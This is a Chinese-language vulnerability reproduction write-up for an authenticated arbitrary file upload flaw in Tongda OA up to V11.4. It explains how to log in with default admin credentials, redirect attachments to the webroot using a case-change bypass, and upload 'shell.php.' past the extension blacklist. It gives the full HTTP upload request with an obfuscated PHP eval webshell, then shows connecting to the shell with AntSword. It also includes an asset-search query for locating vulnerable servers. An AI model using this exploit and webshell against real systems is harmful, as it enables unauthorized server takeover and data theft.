登录 白背景

通达OA module存在后台任意文件上传漏洞

一、漏洞简介

通达OA是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等,后台个人文件柜处/module/upload/upload.php存在任意文件上传漏洞,用户可以通过上传任意文件到服务器中,并且可以借助上传的文件利用shell工具直接获得system权限。

二、影响版本

  • 通达OA 2017-通达OA V 11.4

三、资产测绘

  • hunterapp.name="通达 OA"

image.png

  • 登录页面

image.png

四、漏洞复现

1、使用默认密码admin,密码为空或采用通达OA任意用户登录登录后台;
image.png
2、点击系统管理->系统参数设置->OA服务设置,找到网站根目录:D:MYOAwebroot;
image.png
3、点击系统管理->附件管理->添加存储目录,设置附件上传目录为网站根目录:
存储目录设置为Webroot目录,标识id为100-255的整数,勾选将所有新附件存至该目录,描述随意:
⚠️注意:在11.2以上版本会检测存储目录是否包含webroot关键词检测,所以采用大小写绕过:D:MYOAwebrooT;
image.png
image.png

  1. 快捷菜单-个人文件柜-新建文件-在编辑器“多图上传”处上传图片

image.png

  1. 修改文件名为“shell.php.”,利用windows的特性绕过黑名单上传php脚本文件,上传数据包如下:
POST /module/upload/upload.php?encode=utf-8 HTTP/1.1
Host: xx.xx.xx.xx:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X_Requested_With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------296004247523879430461279754861
Content-Length: 1273
Origin: http://xx.xx.xx.xx:81
Connection: close
Referer: http://1.14.47.145:81/module/ueditor/dialogs/image/image.html
Cookie: USER_NAME_COOKIE=admin; SID_1=f46a75ea; OA_USER_ID=admin; PHPSESSID=r0jrqh0gmtvabe4qpmmvm7lar4

-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="id"

WU_FILE_0
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="name"

shell.jpg
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="type"

image/jpeg
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="lastModifiedDate"

2023/5/9 11:29:05
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="size"

444
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="file"; filename="shell.php."
Content-Type: image/jpeg

<?php class Gz5SfY10 { public function __construct($H7Es8){ @eval("/*Z7y11Eib8N*/".$H7Es8.""); }}new Gz5SfY10($_REQUEST['x']);?>

-----------------------------296004247523879430461279754861--

image.png
6、得到响应数据包,根据响应拼接webshell地址:

http://192.168.31.154/upload_temp/2307/247860724.shell.php

使用蚁剑成功连接getshell:
1689258226980-152f98a0-7db5-4c63-99f8-90e42600729d.png

原文: https://www.yuque.com/xiaokp7/ocvun2/zmnq6p3er40n1w3o